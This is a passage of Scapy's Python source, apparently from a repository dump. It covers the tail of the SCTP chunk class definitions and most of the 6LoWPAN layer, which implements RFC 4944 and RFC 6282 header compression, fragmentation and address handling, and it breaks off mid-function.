GapAckField(\"gap_ack\", None), count_from=lambda pkt:pkt.n_gap_ack),  # noqa: E501\n                   FieldListField(\"dup_tsn_list\", [], XIntField(\"dup_tsn\", None), count_from=lambda pkt:pkt.n_dup_tsn),  # noqa: E501\n                   ]\n\n    def post_build(self, p, pay):\n        if self.len is None:\n            p = p[:2] + struct.pack(\">H\", len(p)) + p[4:]\n        return p + pay\n\n\nclass SCTPChunkHeartbeatReq(_SCTPChunkGuessPayload, Packet):\n    fields_desc = [ByteEnumField(\"type\", 4, sctpchunktypes),\n                   XByteField(\"flags\", None),\n                   FieldLenField(\"len\", None, length_of=\"params\", adjust=lambda pkt, x:x + 4),  # noqa: E501\n                   ChunkParamField(\"params\", None, length_from=lambda pkt:pkt.len - 4),  # noqa: E501\n                   ]\n\n\nclass SCTPChunkHeartbeatAck(SCTPChunkHeartbeatReq):\n    type = 5\n\n\nclass SCTPChunkAbort(_SCTPChunkGuessPayload, Packet):\n    fields_desc = [ByteEnumField(\"type\", 6, sctpchunktypes),\n                   BitField(\"reserved\", None, 7),\n                   BitField(\"TCB\", 0, 1),\n                   FieldLenField(\"len\", None, length_of=\"error_causes\", adjust=lambda pkt, x:x + 4),  # noqa: E501\n                   PadField(StrLenField(\"error_causes\", \"\", length_from=lambda pkt: pkt.len - 4),  # noqa: E501\n                            4, padwith=b\"\\x00\"),\n                   ]\n\n\nclass SCTPChunkShutdown(_SCTPChunkGuessPayload, Packet):\n    fields_desc = [ByteEnumField(\"type\", 7, sctpchunktypes),\n                   XByteField(\"flags\", None),\n                   ShortField(\"len\", 8),\n                   XIntField(\"cumul_tsn_ack\", None),\n                   ]\n\n\nclass SCTPChunkShutdownAck(_SCTPChunkGuessPayload, Packet):\n    fields_desc = [ByteEnumField(\"type\", 8, sctpchunktypes),\n                   XByteField(\"flags\", None),\n                   ShortField(\"len\", 4),\n                   ]\n\n\nclass SCTPChunkError(_SCTPChunkGuessPayload, Packet):\n    fields_desc = [ByteEnumField(\"type\", 9, sctpchunktypes),\n                   XByteField(\"flags\", None),\n                   FieldLenField(\"len\", None, length_of=\"error_causes\", adjust=lambda pkt, x:x + 4),  # noqa: E501\n                   PadField(StrLenField(\"error_causes\", \"\", length_from=lambda pkt: pkt.len - 4),  # noqa: E501\n                            4, padwith=b\"\\x00\"),\n                   ]\n\n\nclass SCTPChunkCookieEcho(SCTPChunkError):\n    fields_desc = [ByteEnumField(\"type\", 10, sctpchunktypes),\n                   XByteField(\"flags\", None),\n                   FieldLenField(\"len\", None, length_of=\"cookie\", adjust=lambda pkt, x:x + 4),  # noqa: E501\n                   PadField(StrLenField(\"cookie\", \"\", length_from=lambda pkt: pkt.len - 4),  # noqa: E501\n                            4, padwith=b\"\\x00\"),\n                   ]\n\n\nclass SCTPChunkCookieAck(_SCTPChunkGuessPayload, Packet):\n    fields_desc = [ByteEnumField(\"type\", 11, sctpchunktypes),\n                   XByteField(\"flags\", None),\n                   ShortField(\"len\", 4),\n                   ]\n\n\nclass SCTPChunkShutdownComplete(_SCTPChunkGuessPayload, Packet):\n    fields_desc = [ByteEnumField(\"type\", 14, sctpchunktypes),\n                   BitField(\"reserved\", None, 7),\n                   BitField(\"TCB\", 0, 1),\n                   ShortField(\"len\", 4),\n                   ]\n\n\nclass SCTPChunkAuthentication(_SCTPChunkGuessPayload, Packet):\n    fields_desc = [ByteEnumField(\"type\", 15, sctpchunktypes),\n                   XByteField(\"flags\", None),\n                   FieldLenField(\"len\", None, length_of=\"HMAC\",\n                                 adjust=lambda pkt, x:x + 8),\n                   ShortField(\"shared_key_id\", None),\n                   ShortField(\"HMAC_function\", None),\n                   PadField(StrLenField(\"HMAC\", \"\", length_from=lambda pkt: pkt.len - 8),  # noqa: E501\n                            4, padwith=b\"\\x00\"),\n                   ]\n\n\nclass SCTPChunkAddressConf(_SCTPChunkGuessPayload, Packet):\n    fields_desc = [ByteEnumField(\"type\", 0xc1, sctpchunktypes),\n                   XByteField(\"flags\", None),\n                   FieldLenField(\"len\", None, length_of=\"params\",\n                                 adjust=lambda pkt, x:x + 8),\n                   IntField(\"seq\", 0),\n                   ChunkParamField(\"params\", None, length_from=lambda pkt:pkt.len - 8),  # noqa: E501\n                   ]\n\n\nclass SCTPChunkReConfig(_SCTPChunkGuessPayload, Packet):\n    fields_desc = [ByteEnumField(\"type\", 130, sctpchunktypes),\n                   XByteField(\"flags\", None),\n                   FieldLenField(\"len\", None, length_of=\"params\",\n                                 adjust=lambda pkt, x:x + 4),\n                   ChunkParamField(\"params\", None, length_from=lambda pkt: pkt.len - 4),\n                   ]\n\n\nclass SCTPChunkPad(_SCTPChunkGuessPayload, Packet):\n    fields_desc = [ByteEnumField(\"type\", 132, sctpchunktypes),\n                   XByteField(\"flags\", None),\n                   FieldLenField(\"len\", None, length_of=\"padding\",\n                                 adjust=lambda pkt, x:x + 8),\n                   PadField(StrLenField(\"padding\", None,\n                                        length_from=lambda pkt: pkt.len - 8),\n                            4, padwith=b\"\\x00\")\n                   ]\n\n\nclass SCTPChunkAddressConfAck(SCTPChunkAddressConf):\n    type = 0x80\n\n\nbind_layers(IP, SCTP, proto=IPPROTO_SCTP)\nbind_layers(IPerror, SCTPerror, proto=IPPROTO_SCTP)\nbind_layers(IPv6, SCTP, nh=IPPROTO_SCTP)\nbind_layers(IPerror6, SCTPerror, proto=IPPROTO_SCTP)\n"
  },
  {
    "path": "scapy/layers/sixlowpan.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Cesar A. Bernardini <mesarpe@gmail.com>\n#               Intern at INRIA Grand Nancy Est\n# Copyright (C) Gabriel Potter <gabriel[]potter[]fr>\n\"\"\"\n6LoWPAN Protocol Stack\n======================\n\nThis implementation follows the next documents:\n\n- Transmission of IPv6 Packets over IEEE 802.15.4 Networks: RFC 4944\n- Compression Format for IPv6 Datagrams in Low Power and Lossy\n  networks (6LoWPAN): RFC 6282\n- RFC 4291\n\n+----------------------------+-----------------------+\n|  Application               | Application Protocols |\n+----------------------------+------------+----------+\n|  Transport                 |   UDP      |   TCP    |\n+----------------------------+------------+----------+\n|  Network                   |          IPv6         |\n+----------------------------+-----------------------+\n|                            |         LoWPAN        |\n+----------------------------+-----------------------+\n|  Data Link Layer           |   IEEE 802.15.4 MAC   |\n+----------------------------+-----------------------+\n|  Physical                  |   IEEE 802.15.4 PHY   |\n+----------------------------+-----------------------+\n\nNote that:\n\n - Only IPv6 is supported\n - LoWPAN is in the middle between network and data link layer\n\nThe Internet Control Message protocol v6 (ICMPv6) is used for control\nmessaging.\n\nAdaptation between full IPv6 and the LoWPAN format is performed by routers at\nthe edge of 6LoWPAN islands.\n\nA LoWPAN support addressing; a direct mapping between the link-layer address\nand the IPv6 address is used for achieving compression.\n\nKnown Issues:\n    * Unimplemented context information\n    * Unimplemented IPv6 extensions fields\n\"\"\"\n\nimport socket\nimport struct\n\nfrom scapy.compat import chb, orb, raw\nfrom scapy.data import ETHER_TYPES\n\nfrom scapy.packet import Packet, bind_layers, bind_top_down\nfrom scapy.fields import (\n    BitEnumField,\n    BitField,\n    BitLenField,\n    BitScalingField,\n    ByteEnumField,\n    ByteField,\n    ConditionalField,\n    FieldLenField,\n    MultipleTypeField,\n    PacketField,\n    PacketListField,\n    StrFixedLenField,\n    XBitField,\n    XLongField,\n    XShortField,\n)\n\nfrom scapy.layers.dot15d4 import Dot15d4Data\nfrom scapy.layers.inet6 import (\n    IP6Field,\n    IPv6,\n    _IPv6ExtHdr,\n    ipv6nh,\n)\nfrom scapy.layers.inet import UDP\nfrom scapy.layers.l2 import Ether\n\nfrom scapy.utils import mac2str\nfrom scapy.config import conf\nfrom scapy.error import warning\n\nfrom scapy.packet import Raw\nfrom scapy.pton_ntop import inet_pton, inet_ntop\nfrom scapy.volatile import RandShort\n\nETHER_TYPES[0xA0ED] = \"6LoWPAN\"\n\nLINK_LOCAL_PREFIX = b\"\\xfe\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"  # noqa: E501\n\n\n##########\n# Fields #\n##########\n\n\nclass IP6FieldLenField(IP6Field):\n    __slots__ = [\"length_of\"]\n\n    def __init__(self, name, default, length_of=None):\n        IP6Field.__init__(self, name, default)\n        self.length_of = length_of\n\n    def addfield(self, pkt, s, val):\n        \"\"\"Add an internal value  to a string\"\"\"\n        tmp_len = self.length_of(pkt)\n        if tmp_len == 0:\n            return s\n        internal = self.i2m(pkt, val)[-tmp_len:]\n        return s + struct.pack(\"!%ds\" % tmp_len, internal)\n\n    def getfield(self, pkt, s):\n        tmp_len = self.length_of(pkt)\n        assert tmp_len >= 0 and tmp_len <= 16\n        if tmp_len <= 0:\n            return s, b\"\"\n        return (s[tmp_len:],\n                self.m2i(pkt, b\"\\x00\" * (16 - tmp_len) + s[:tmp_len]))\n\n\n#################\n# Basic 6LoWPAN #\n#################\n# https://tools.ietf.org/html/rfc4944\n\n\nclass LoWPANUncompressedIPv6(Packet):\n    name = \"6LoWPAN Uncompressed IPv6\"\n    fields_desc = [\n        BitField(\"_type\", 0x41, 8)\n    ]\n\n    def default_payload_class(self, pay):\n        return IPv6\n\n# https://tools.ietf.org/html/rfc4944#section-5.2\n\n\nclass LoWPANMesh(Packet):\n    name = \"6LoWPAN Mesh Packet\"\n    deprecated_fields = {\n        \"_v\": (\"v\", \"2.4.4\"),\n        \"_f\": (\"f\", \"2.4.4\"),\n        \"_sourceAddr\": (\"src\", \"2.4.4\"),\n        \"_destinyAddr\": (\"dst\", \"2.4.4\"),\n    }\n    fields_desc = [\n        BitField(\"reserved\", 0x2, 2),\n        BitEnumField(\"v\", 0x0, 1, [\"EUI-64\", \"Short\"]),\n        BitEnumField(\"f\", 0x0, 1, [\"EUI-64\", \"Short\"]),\n        BitField(\"hopsLeft\", 0x0, 4),\n        MultipleTypeField(\n            [(XShortField(\"src\", 0x0), lambda pkt: pkt.v == 1)],\n            XLongField(\"src\", 0x0)\n        ),\n        MultipleTypeField(\n            [(XShortField(\"dst\", 0x0), lambda pkt: pkt.v == 1)],\n            XLongField(\"dst\", 0x0)\n        )\n    ]\n\n\n# https://tools.ietf.org/html/rfc4944#section-10.1\n# This implementation is NOT RECOMMENDED according to RFC 6282\n\n\nclass LoWPAN_HC2_UDP(Packet):\n    name = \"6LoWPAN HC1 UDP encoding\"\n    fields_desc = [\n        BitEnumField(\"sc\", 0, 1, [\"In-line\", \"Compressed\"]),\n        BitEnumField(\"dc\", 0, 1, [\"In-line\", \"Compressed\"]),\n        BitEnumField(\"lc\", 0, 1, [\"In-line\", \"Compressed\"]),\n        BitField(\"res\", 0, 5),\n    ]\n\n    def default_payload_class(self, payload):\n        return conf.padding_layer\n\n\ndef _get_hc1_pad(pkt):\n    \"\"\"\n    Get LoWPAN_HC1 padding\n\n    LoWPAN_HC1 is not recommended for several reasons, one\n    of them being that padding is a mess (not 8-bit regular)\n    We therefore add padding bits that are not in the spec to restore\n    8-bit parity. Wireshark seems to agree\n    \"\"\"\n    length = 0  # in bits, of the fields that are not //8\n    if not pkt.tc_fl:\n        length += 20\n    if pkt.hc2:\n        if pkt.nh == 1:\n            length += pkt.hc2Field.sc * 4\n            length += pkt.hc2Field.dc * 4\n    return (-length) % 8\n\n\nclass LoWPAN_HC1(Packet):\n    name = \"LoWPAN_HC1 Compressed IPv6\"\n    fields_desc = [\n        # https://tools.ietf.org/html/rfc4944#section-10.1\n        ByteField(\"reserved\", 0x42),\n        BitEnumField(\"sp\", 0, 1, [\"In-line\", \"Compressed\"]),\n        BitEnumField(\"si\", 0, 1, [\"In-line\", \"Elided\"]),\n        BitEnumField(\"dp\", 0, 1, [\"In-line\", \"Compressed\"]),\n        BitEnumField(\"di\", 0, 1, [\"In-line\", \"Elided\"]),\n        BitEnumField(\"tc_fl\", 0, 1, [\"Not compressed\", \"zero\"]),\n        BitEnumField(\"nh\", 0, 2, {0: \"not compressed\",\n                                  1: \"UDP\",\n                                  2: \"ICMP\",\n                                  3: \"TCP\"}),\n        BitEnumField(\"hc2\", 0, 1, [\"No more header compression bits\",\n                                   \"HC2 Present\"]),\n        # https://tools.ietf.org/html/rfc4944#section-10.2\n        ConditionalField(\n            MultipleTypeField(\n                [\n                    (PacketField(\"hc2Field\", LoWPAN_HC2_UDP(),\n                                 LoWPAN_HC2_UDP),\n                        lambda pkt: pkt.nh == 1),\n                    # TODO: ICMP & TCP not implemented yet for HC1\n                    # (PacketField(\"hc2Field\", LoWPAN_HC2_ICMP(),\n                    #              LoWPAN_HC2_ICMP),\n                    #     lambda pkt: pkt.nh == 2),\n                    # (PacketField(\"hc2Field\", LoWPAN_HC2_TCP(),\n                    #              LoWPAN_HC2_TCP),\n                    #     lambda pkt: pkt.nh == 3),\n                ],\n                StrFixedLenField(\"hc2Field\", b\"\", 0),\n            ),\n            lambda pkt: pkt.hc2\n        ),\n        # IPv6 header fields\n        # https://tools.ietf.org/html/rfc4944#section-10.3.1\n        ByteField(\"hopLimit\", 0x0),\n        IP6FieldLenField(\"src\", \"::\",\n                         lambda pkt: (0 if pkt.sp else 8) +\n                                     (0 if pkt.si else 8)),\n        IP6FieldLenField(\"dst\", \"::\",\n                         lambda pkt: (0 if pkt.dp else 8) +\n                                     (0 if pkt.di else 8)),\n        ConditionalField(\n            ByteField(\"traffic_class\", 0),\n            lambda pkt: not pkt.tc_fl\n        ),\n        ConditionalField(\n            BitField(\"flow_label\", 0, 20),\n            lambda pkt: not pkt.tc_fl\n        ),\n        # Other fields\n        # https://tools.ietf.org/html/rfc4944#section-10.3.2\n        ConditionalField(\n            MultipleTypeField(\n                [(BitScalingField(\"udpSourcePort\", 0, 4, offset=0xF0B0),\n                    lambda pkt: getattr(pkt.hc2Field, \"sc\", 0))],\n                BitField(\"udpSourcePort\", 0, 16)\n            ),\n            lambda pkt: pkt.nh == 1 and pkt.hc2\n        ),\n        ConditionalField(\n            MultipleTypeField(\n                [(BitScalingField(\"udpDestPort\", 0, 4, offset=0xF0B0),\n                    lambda pkt: getattr(pkt.hc2Field, \"dc\", 0))],\n                BitField(\"udpDestPort\", 0, 16)\n            ),\n            lambda pkt: pkt.nh == 1 and pkt.hc2\n        ),\n        ConditionalField(\n            BitField(\"udpLength\", 0, 16),\n            lambda pkt: pkt.nh == 1 and pkt.hc2 and not pkt.hc2Field.lc\n        ),\n        ConditionalField(\n            XBitField(\"udpChecksum\", 0, 16),\n            lambda pkt: pkt.nh == 1 and pkt.hc2\n        ),\n        # Out of spec\n        BitLenField(\"pad\", 0, _get_hc1_pad)\n    ]\n\n    def post_dissect(self, data):\n        # uncompress payload\n        packet = IPv6()\n        packet.version = IPHC_DEFAULT_VERSION\n        packet.tc = self.traffic_class\n        packet.fl = self.flow_label\n        nh_match = {\n            1: socket.IPPROTO_UDP,\n            2: socket.IPPROTO_ICMP,\n            3: socket.IPPROTO_TCP\n        }\n        if self.nh:\n            packet.nh = nh_match.get(self.nh)\n        packet.hlim = self.hopLimit\n\n        packet.src = self.decompressSourceAddr()\n        packet.dst = self.decompressDestAddr()\n\n        if self.hc2 and self.nh == 1:  # UDP\n            udp = UDP()\n            udp.sport = self.udpSourcePort\n            udp.dport = self.udpDestPort\n            udp.len = self.udpLength or None\n            udp.chksum = self.udpChecksum\n            udp.add_payload(data)\n            packet.add_payload(udp)\n        else:\n            packet.add_payload(data)\n        data = raw(packet)\n        return Packet.post_dissect(self, data)\n\n    def decompressSourceAddr(self):\n        if not self.sp and not self.si:\n            # Prefix & Interface\n            return self.src\n        elif not self.si:\n            # Only interface\n            addr = inet_pton(socket.AF_INET6, self.src)[-8:]\n            addr = LINK_LOCAL_PREFIX[:8] + addr\n        else:\n            # Interface not provided\n            addr = _extract_upperaddress(self, source=True)\n        self.src = inet_ntop(socket.AF_INET6, addr)\n        return self.src\n\n    def decompressDestAddr(self):\n        if not self.dp and not self.di:\n            # Prefix & Interface\n            return self.dst\n        elif not self.di:\n            # Only interface\n            addr = inet_pton(socket.AF_INET6, self.dst)[-8:]\n            addr = LINK_LOCAL_PREFIX[:8] + addr\n        else:\n            # Interface not provided\n            addr = _extract_upperaddress(self, source=False)\n        self.dst = inet_ntop(socket.AF_INET6, addr)\n        return self.dst\n\n    def do_build(self):\n        if not isinstance(self.payload, IPv6):\n            return Packet.do_build(self)\n        # IPv6\n        ipv6 = self.payload\n        self.src = ipv6.src\n        self.dst = ipv6.dst\n        self.flow_label = ipv6.fl\n        self.traffic_class = ipv6.tc\n        self.hopLimit = ipv6.hlim\n        if isinstance(ipv6.payload, UDP):\n            self.nh = 1\n            self.hc2 = 1\n            udp = ipv6.payload\n            self.udpSourcePort = udp.sport\n            self.udpDestPort = udp.dport\n            if not udp.len or not udp.chksum:\n                udp = UDP(raw(udp))\n            self.udpLength = udp.len\n            self.udpChecksum = udp.chksum\n        return Packet.do_build(self)\n\n    def do_build_payload(self):\n        # Elide the IPv6 and UDP payload\n        if isinstance(self.payload, IPv6):\n            if isinstance(self.payload.payload, UDP):\n                return raw(self.payload.payload.payload)\n            return raw(self.payload.payload)\n        return Packet.do_build_payload(self)\n\n# https://tools.ietf.org/html/rfc4944#section-5.3\n\n\nclass LoWPANFragmentationFirst(Packet):\n    name = \"6LoWPAN First Fragmentation Packet\"\n    fields_desc = [\n        BitField(\"reserved\", 0x18, 5),\n        BitField(\"datagramSize\", 0x0, 11),\n        XShortField(\"datagramTag\", 0x0),\n    ]\n\n\nclass LoWPANFragmentationSubsequent(Packet):\n    name = \"6LoWPAN Subsequent Fragmentation Packet\"\n    fields_desc = [\n        BitField(\"reserved\", 0x1C, 5),\n        BitField(\"datagramSize\", 0x0, 11),\n        XShortField(\"datagramTag\", RandShort()),\n        ByteField(\"datagramOffset\", 0x0),  # VALUE PRINTED IN OCTETS, wireshark does in bits (128 bits == 16 octets)  # noqa: E501\n    ]\n\n\n# https://tools.ietf.org/html/rfc4944#section-11.1\n\nclass LoWPANBroadcast(Packet):\n    name = \"6LoWPAN Broadcast\"\n    fields_desc = [\n        ByteField(\"reserved\", 0x50),\n        ByteField(\"seq\", 0)\n    ]\n\n\n#########################\n# LoWPAN_IPHC (RFC6282) #\n#########################\n\n\nIPHC_DEFAULT_VERSION = 6\nIPHC_DEFAULT_TF = 0\nIPHC_DEFAULT_FL = 0\n\n\ndef source_addr_size(pkt):\n    \"\"\"Source address size\n\n    This function depending on the arguments returns the amount of bits to be\n    used by the source address.\n\n    Keyword arguments:\n    pkt -- packet object instance\n    \"\"\"\n    if pkt.sac == 0x0:\n        if pkt.sam == 0x0:\n            return 16\n        elif pkt.sam == 0x1:\n            return 8\n        elif pkt.sam == 0x2:\n            return 2\n        elif pkt.sam == 0x3:\n            return 0\n    else:\n        if pkt.sam == 0x0:\n            return 0\n        elif pkt.sam == 0x1:\n            return 8\n        elif pkt.sam == 0x2:\n            return 2\n        elif pkt.sam == 0x3:\n            return 0\n\n\ndef dest_addr_size(pkt):\n    \"\"\"Destination address size\n\n    This function depending on the arguments returns the amount of bits to be\n    used by the destination address.\n\n    Keyword arguments:\n    pkt -- packet object instance\n    \"\"\"\n    if pkt.m == 0 and pkt.dac == 0:\n        if pkt.dam == 0x0:\n            return 16\n        elif pkt.dam == 0x1:\n            return 8\n        elif pkt.dam == 0x2:\n            return 2\n        else:\n            return 0\n    elif pkt.m == 0 and pkt.dac == 1:\n        if pkt.dam == 0x0:\n            # reserved\n            return 0\n        elif pkt.dam == 0x1:\n            return 8\n        elif pkt.dam == 0x2:\n            return 2\n        else:\n            return 0\n    elif pkt.m == 1 and pkt.dac == 0:\n        if pkt.dam == 0x0:\n            return 16\n        elif pkt.dam == 0x1:\n            return 6\n        elif pkt.dam == 0x2:\n            return 4\n        elif pkt.dam == 0x3:\n            return 1\n    elif pkt.m == 1 and pkt.dac == 1:\n        if pkt.dam == 0x0:\n            return 6\n        elif pkt.dam == 0x1:\n            # reserved\n            return 0\n        elif pkt.dam == 0x2:\n            # reserved\n            return 0\n        elif pkt.dam == 0x3:\n            # reserved\n            return 0\n\n\ndef _extract_upperaddress(pkt, source=True):\n    \"\"\"This function extracts the source/destination address of a 6LoWPAN\n    from its upper layer.\n\n    (Upper layer could be 802.15.4 data, Ethernet...)\n\n    params:\n     - source: if True, the address is the source one. Otherwise, it is the\n               destination.\n    returns: (upper_address, ipv6_address)\n    \"\"\"\n    # https://tools.ietf.org/html/rfc6282#section-3.2.2\n    SUPPORTED_LAYERS = (Ether, Dot15d4Data)\n    underlayer = pkt.underlayer\n    while underlayer and not isinstance(underlayer, SUPPORTED_LAYERS):\n        underlayer = underlayer.underlayer\n    # Extract and process address\n    if type(underlayer) == Ether:\n        addr = mac2str(underlayer.src if source else underlayer.dst)\n        # https://tools.ietf.org/html/rfc2464#section-4\n        return LINK_LOCAL_PREFIX[:8] + addr[:3] + b\"\\xff\\xfe\" + addr[3:]\n    elif type(underlayer) == Dot15d4Data:\n        if source:\n            addr = underlayer.src_addr\n            addrmode = underlayer.underlayer.fcf_srcaddrmode\n        else:\n            addr = underlayer.dest_addr\n            addrmode = underlayer.underlayer.fcf_destaddrmode\n        addr = struct.pack(\">Q\", addr)\n        if addrmode == 3:  # Extended/long\n            tmp_ip = LINK_LOCAL_PREFIX[0:8] + addr\n            # Turn off the bit 7.\n            return tmp_ip[0:8] + struct.pack(\"B\", (orb(tmp_ip[8]) ^ 0x2)) + tmp_ip[9:16]  # noqa: E501\n        elif addrmode == 2:  # Short\n            return (\n                LINK_LOCAL_PREFIX[0:8] +\n                b\"\\x00\\x00\\x00\\xff\\xfe\\x00\" +\n                addr[6:]\n            )\n    else:\n        # Most of the times, it's necessary the IEEE 802.15.4 data to extract\n        # this address, sometimes another layer.\n        warning(\n            'Unimplemented: Unsupported upper layer: %s' % type(underlayer)\n        )\n        return b\"\\x00\" * 16\n\n\nclass LoWPAN_IPHC(Packet):\n    \"\"\"6LoWPAN IPv6 header compressed packets\n\n    It follows the implementation of RFC6282\n    \"\"\"\n    __slots__ = [\"_ipv6\"]\n    # the LOWPAN_IPHC encoding utilizes 13 bits, 5 dispatch type\n    name = \"LoWPAN IP Header Compression Packet\"\n    _address_modes = [\"Unspecified (0)\", \"1\", \"16-bits inline (3)\",\n                      \"Compressed (3)\"]\n    _state_mode = [\"Stateless (0)\", \"Stateful (1)\"]\n    deprecated_fields = {\n        \"_nhField\": (\"nhField\", \"2.4.4\"),\n        \"_hopLimit\": (\"hopLimit\", \"2.4.4\"),\n        \"sourceAddr\": (\"src\", \"2.4.4\"),\n        \"destinyAddr\": (\"dst\", \"2.4.4\"),\n        \"udpDestinyPort\": (\"udpDestPort\", \"2.4.4\"),\n    }\n    fields_desc = [\n        # Base Format https://tools.ietf.org/html/rfc6282#section-3.1.2\n        BitField(\"_reserved\", 0x03, 3),\n        BitField(\"tf\", 0x0, 2),\n        BitEnumField(\"nh\", 0x0, 1, [\"Inline\", \"Compressed\"]),\n        BitEnumField(\"hlim\", 0x0, 2, {0: \"Inline\",\n                                      1: \"Compressed/HL1\",\n                                      2: \"Compressed/HL64\",\n                                      3: \"Compressed/HL255\"}),\n        BitEnumField(\"cid\", 0x0, 1, {1: \"Present (1)\"}),\n        BitEnumField(\"sac\", 0x0, 1, _state_mode),\n        BitEnumField(\"sam\", 0x0, 2, _address_modes),\n        BitEnumField(\"m\", 0x0, 1, {1: \"multicast (1)\"}),\n        BitEnumField(\"dac\", 0x0, 1, _state_mode),\n        BitEnumField(\"dam\", 0x0, 2, _address_modes),\n        # https://tools.ietf.org/html/rfc6282#section-3.1.2\n        # Context Identifier Extension\n        ConditionalField(\n            BitField(\"sci\", 0, 4),\n            lambda pkt: pkt.cid == 0x1\n        ),\n        ConditionalField(\n            BitField(\"dci\", 0, 4),\n            lambda pkt: pkt.cid == 0x1\n        ),\n        # https://tools.ietf.org/html/rfc6282#section-3.2.1\n        ConditionalField(\n            BitField(\"tc_ecn\", 0, 2),\n            lambda pkt: pkt.tf in [0, 1, 2]\n        ),\n        ConditionalField(\n            BitField(\"tc_dscp\", 0, 6),\n            lambda pkt: pkt.tf in [0, 2],\n        ),\n        ConditionalField(\n            MultipleTypeField(\n                [(BitField(\"rsv\", 0, 4), lambda pkt: pkt.tf == 0)],\n                BitField(\"rsv\", 0, 2),\n            ),\n            lambda pkt: pkt.tf in [0, 1]\n        ),\n        ConditionalField(\n            BitField(\"flowlabel\", 0, 20),\n            lambda pkt: pkt.tf in [0, 1]\n        ),\n        # Inline fields https://tools.ietf.org/html/rfc6282#section-3.1.1\n        ConditionalField(\n            ByteEnumField(\"nhField\", 0x0, ipv6nh),\n            lambda pkt: pkt.nh == 0x0\n        ),\n        ConditionalField(\n            ByteField(\"hopLimit\", 0x0),\n            lambda pkt: pkt.hlim == 0x0\n        ),\n        # The src and dst fields are filled up or removed in the\n        # pre_dissect and post_build, depending on the other options.\n        IP6FieldLenField(\"src\", \"::\", length_of=source_addr_size),\n        IP6FieldLenField(\"dst\", \"::\", length_of=dest_addr_size),  # problem when it's 0  # noqa: E501\n    ]\n\n    def post_dissect(self, data):\n        \"\"\"dissect the IPv6 package compressed into this IPHC packet.\n\n        The packet payload needs to be decompressed and depending on the\n        arguments, several conversions should be done.\n        \"\"\"\n\n        # uncompress payload\n        packet = IPv6()\n        packet.tc, packet.fl = self._getTrafficClassAndFlowLabel()\n        if not self.nh:\n            packet.nh = self.nhField\n        # HLIM: Hop Limit\n        if self.hlim == 0:\n            packet.hlim = self.hopLimit\n        elif self.hlim == 0x1:\n            packet.hlim = 1\n        elif self.hlim == 0x2:\n            packet.hlim = 64\n        else:\n            packet.hlim = 255\n\n        packet.src = self.decompressSourceAddr(packet)\n        packet.dst = self.decompressDestAddr(packet)\n\n        pay_cls = self.guess_payload_class(data)\n        if pay_cls == IPv6:\n            packet.add_payload(data)\n            data = raw(packet)\n        elif pay_cls == LoWPAN_NHC:\n            self._ipv6 = packet\n        return Packet.post_dissect(self, data)\n\n    def decompressDestAddr(self, packet):\n        # https://tools.ietf.org/html/rfc6282#section-3.1.1\n        try:\n            tmp_ip = inet_pton(socket.AF_INET6, self.dst)\n        except socket.error:\n            tmp_ip = b\"\\x00\" * 16\n\n        if self.m == 0 and self.dac == 0:\n            if self.dam == 0:\n                # Address fully carried\n                pass\n            elif self.dam == 1:\n                tmp_ip = LINK_LOCAL_PREFIX[0:8] + tmp_ip[-8:]\n            elif self.dam == 2:\n                tmp_ip = LINK_LOCAL_PREFIX[0:8] + b\"\\x00\\x00\\x00\\xff\\xfe\\x00\" + tmp_ip[-2:]  # noqa: E501\n            elif self.dam == 3:\n                tmp_ip = _extract_upperaddress(self, source=False)\n\n        elif self.m == 0 and self.dac == 1:\n            if self.dam == 0:\n                # reserved\n                pass\n            elif self.dam == 0x3:\n                # should use context IID + encapsulating header\n                tmp_ip = _extract_upperaddress(self, source=False)\n            elif self.dam not in [0x1, 0x2]:\n                # https://tools.ietf.org/html/rfc6282#page-9\n                # Should use context information: unimplemented\n                pass\n        elif self.m == 1 and self.dac == 0:\n            if self.dam == 0:\n                # Address fully carried\n                pass\n            elif self.dam == 1:\n                tmp = b\"\\xff\" + chb(tmp_ip[16 - dest_addr_size(self)])\n                tmp_ip = tmp + b\"\\x00\" * 9 + tmp_ip[-5:]\n            elif self.dam == 2:\n                tmp = b\"\\xff\" + chb(tmp_ip[16 - dest_addr_size(self)])\n                tmp_ip = tmp + b\"\\x00\" * 11 + tmp_ip[-3:]\n            else:  # self.dam == 3:\n                tmp_ip = b\"\\xff\\x02\" + b\"\\x00\" * 13 + tmp_ip[-1:]\n        elif self.m == 1 and self.dac == 1:\n            if self.dam == 0x0:\n                # https://tools.ietf.org/html/rfc6282#page-10\n                # https://github.com/wireshark/wireshark/blob/f54611d1104d85a425e52c7318c522ed249916b6/epan/dissectors/packet-6lowpan.c#L2149-L2166\n                # Format: ffXX:XXLL:PPPP:PPPP:PPPP:PPPP:XXXX:XXXX\n                # P and L should be retrieved from context\n                P = b\"\\x00\" * 16\n                L = b\"\\x00\"\n                X = tmp_ip[-6:]\n                tmp_ip = b\"\\xff\" + X[:2] + L + P[:8] + X[2:6]\n            else:  # all the others values: reserved\n                pass\n\n        self.dst = inet_ntop(socket.AF_INET6, tmp_ip)\n        return self.dst\n\n    def compressSourceAddr(self, ipv6):\n        # https://tools.ietf.org/html/rfc6282#section-3.1.1\n        tmp_ip = inet_pton(socket.AF_INET6, ipv6.src)\n\n        if self.sac == 0:\n            if self.sam == 0x0:\n                pass\n            elif self.sam == 0x1:\n                tmp_ip = tmp_ip[8:16]\n            elif self.sam == 0x2:\n                tmp_ip = tmp_ip[14:16]\n            else:  # self.sam == 0x3:\n                pass\n        else:  # self.sac == 1\n            if self.sam == 0x0:\n                tmp_ip = b\"\\x00\" * 16\n            elif self.sam == 0x1:\n                tmp_ip = tmp_ip[8:16]\n            elif self.sam == 0x2:\n                tmp_ip = tmp_ip[14:16]\n\n        self.src = inet_ntop(socket.AF_INET6, b\"\\x00\" * (16 - len(tmp_ip)) + tmp_ip)  # noqa: E501\n        return self.src\n\n    def compressDestAddr(self, ipv6):\n        # https://tools.ietf.org/html/rfc6282#section-3.1.1\n        tmp_ip = inet_pton(socket.AF_INET6, ipv6.dst)\n\n        if self.m == 0 and self.dac == 0:\n            if self.dam == 0x0:\n                pass\n            elif self.dam == 0x1:\n                tmp_ip = b\"\\x00\" * 8 + tmp_ip[8:16]\n            elif self.dam == 0x2:\n                tmp_ip = b\"\\x00\" * 14 + tmp_ip[14:16]\n        elif self.m == 0 and self.dac == 1:\n            if self.dam == 0x1:\n                tmp_ip = b\"\\x00\" * 8 + tmp_ip[8:16]\n            elif self.dam == 0x2:\n                